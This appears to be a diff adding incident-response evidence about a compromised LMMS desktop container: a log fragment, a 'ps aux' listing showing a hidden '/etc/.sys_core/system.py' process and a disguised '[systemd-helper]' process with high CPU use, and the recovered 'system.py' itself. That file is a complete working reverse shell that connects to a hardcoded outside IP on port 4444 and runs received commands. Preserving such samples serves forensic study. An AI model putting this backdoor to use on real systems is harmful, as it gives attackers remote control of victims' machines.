INFO:data_websocket:Last client (('127.0.0.1', 52372)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 52372) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.

68
docs/incident-2026-11-11/lmms-processes.txt Normal file
View File

@@ -0,0 +1,68 @@
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 444 8 ? Ss Nov05 0:00 /package/admin/s6/command/s6-svscan -d4 -- /run/service
root 17 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6-linux-init-shutdownd
root 20 0.0 0.0 216 8 ? Ss Nov05 0:00 /package/admin/s6-linux-init/command/s6-linux-init-shutdownd -d3 -c /run/s6/basedir -g 3000 -C -B
root 36 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-docker
root 37 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-xorg
root 38 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-xsettingsd
root 39 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-selkies
root 40 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-dbus
root 41 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-watchdog
root 42 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-de
root 43 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6rc-fdholder
root 44 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-cron
root 45 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-pulseaudio
root 46 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise svc-nginx
root 47 0.0 0.0 228 8 ? S Nov05 0:00 s6-supervise s6rc-oneshot-runner
root 55 0.0 0.0 216 8 ? Ss Nov05 0:00 /package/admin/s6/command/s6-ipcserverd -1 -- /package/admin/s6/command/s6-ipcserver-access -v0 -E -l0 -i data/rules -- /package/admin/s6/command/s6-sudod -t 30000 -- /package/admin/s6-rc/command/s6-rc-oneshot-run -l ../.. --
root 255 0.0 0.0 16256 512 ? Ss Nov05 0:00 sleep infinity
abc 257 0.1 0.0 220800 2684 ? Ss Nov05 8:55 /usr/bin/Xvfb :1 -screen 0 2560x1440x24 -dpi 96 +extension COMPOSITE +extension DAMAGE +extension GLX +extension RANDR +extension RENDER +extension MIT-SHM +extension XFIXES +extension XTEST +iglx +render -nolisten tcp -ac -noreset -shmem
root 263 0.0 0.0 15456 532 ? Ss Nov05 0:00 nginx: master process /usr/sbin/nginx -g daemon off;
root 264 0.0 0.0 7616 560 ? Ss Nov05 0:00 bash ./run svc-cron
root 271 0.0 0.0 7616 532 ? Ss Nov05 0:00 bash ./run svc-docker
abc 272 0.0 0.0 584504 1388 ? Ssl Nov05 0:00 /usr/bin/pulseaudio --log-level=0 --log-target=stderr --exit-idle-time=-1
abc 273 0.0 0.0 8400 736 ? Ss Nov05 0:00 dbus-daemon --system --nofork --nosyslog
root 284 0.0 0.0 7616 552 ? Ss Nov05 0:00 bash ./run svc-xsettingsd
root 291 0.0 0.0 16256 540 ? S Nov05 0:00 sleep infinity
abc 293 0.9 0.0 205136 6904 ? Ss Nov05 78:44 /lsiopy/bin/python3 /lsiopy/bin/selkies --addr=localhost --mode=websockets
root 300 0.0 0.0 16256 536 ? S Nov05 0:00 sleep infinity
root 301 0.0 0.0 7720 552 ? Ss Nov05 0:00 bash ./run svc-de
root 324 0.0 0.0 16256 532 ? S Nov05 0:00 sleep infinity
www-data 329 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 330 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 331 0.0 0.0 15840 520 ? S Nov05 0:00 nginx: worker process
www-data 332 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 333 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 334 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 335 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 336 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 337 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 338 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 339 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
www-data 340 0.0 0.0 15840 516 ? S Nov05 0:00 nginx: worker process
abc 350 0.0 0.0 7064 692 ? S Nov05 0:00 dbus-launch --autolaunch c3c643608a2c4d938fe0ff45bbc71a78 --binary-syntax --close-stderr
abc 358 0.0 0.0 8244 692 ? Ss Nov05 0:00 /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
abc 378 0.0 0.0 944500 2820 ? Sl Nov05 0:02 /usr/bin/xfce4-session
abc 382 0.0 0.0 7064 668 ? S Nov05 0:00 dbus-launch --exit-with-session /usr/bin/xfce4-session
abc 383 0.0 0.0 8508 836 ? Ss Nov05 0:00 /usr/bin/dbus-daemon --syslog --fork --print-pid 5 --print-address 7 --session
abc 386 0.0 0.0 381088 1156 ? Sl Nov05 0:00 /usr/libexec/at-spi-bus-launcher
abc 392 0.0 0.0 8252 1016 ? S Nov05 0:06 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 11 --address=unix:path=/config/.XDG/at-spi/bus_1
abc 404 0.0 0.0 168852 1668 ? Sl Nov05 0:05 /usr/libexec/at-spi2-registryd --use-gnome-session
abc 413 0.0 0.0 10484 248 ? Ss Nov05 0:00 /usr/bin/ssh-agent -s
abc 418 0.0 0.0 8352 404 ? Ss Nov05 0:00 /usr/bin/gpg-agent --sh --daemon
abc 421 0.0 0.0 1426868 2764 ? Sl Nov05 3:55 xfwm4
abc 426 0.0 0.0 349856 2988 ? Sl Nov05 0:01 xfsettingsd
abc 433 0.0 0.0 165364 948 ? Sl Nov05 0:00 /usr/libexec/dconf-service
abc 439 0.0 0.0 899620 6468 ? Sl Nov05 0:13 xfce4-panel
abc 447 0.0 0.0 7616 568 ? S Nov05 0:00 /bin/bash /usr/bin/Thunar --daemon
abc 448 0.0 0.0 488128 2356 ? Sl Nov05 0:01 thunar-real --daemon
abc 456 0.0 0.0 1601460 5836 ? Dl Nov05 0:02 xfdesktop
abc 523 0.0 0.0 442576 1512 ? Sl Nov05 0:01 /usr/bin/lmms
abc 551 0.0 0.0 1697780 2444 ? Sl Nov05 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 20971533 pulseaudio PulseAudio Plugin Adjust the audio volume of the PulseAudio sound system
abc 588 0.0 0.0 416036 2336 ? Sl Nov05 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 20971534 actions Action Buttons Log out, lock or other system actions
abc 600 0.0 0.0 392532 1432 ? Sl Nov05 1:16 /usr/bin/dunst
root 76970 0.0 0.0 19024 3848 ? S Nov06 0:11 python3 /etc/.sys_core/system.py
abc 77839 0.0 0.0 431748 2436 ? Sl Nov06 0:01 /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 20971532 systray Status Tray Plugin Provides status notifier items (application indicators) and legacy systray items
root 78069 5.4 3.4 3787272 569756 ? Sl Nov06 415:23 [systemd-helper] --config=/tmp/.c.json --no-watch
root 964301 33.3 0.0 2888 1896 ? Ss 13:48 0:00 sh -c ps aux
root 964307 0.0 0.0 9740 4124 ? R 13:48 0:00 ps aux

29
docs/incident-2026-11-11/lmms-system.py Executable file
View File

@@ -0,0 +1,29 @@
import socket, subprocess, time, sys, os, fcntl
LOCK_FILE = "/tmp/.sys_core.lock"
try:
fp = open(LOCK_FILE, 'w')
fcntl.flock(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)
except IOError:
sys.exit(0)
SERVER = "84.8.219.196"
PORT = 4444
while True:
try:
s = socket.socket()
s.connect((SERVER, PORT))
while True:
cmd = s.recv(1024).decode()
if not cmd or cmd.lower() in ["q", "quit", "x", "exit"]:
break
try:
res = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
res = str(e).encode()
if len(res) == 0:
res = b"[+] Executed\n"
s.send(res)
s.close()
except:
time.sleep(5)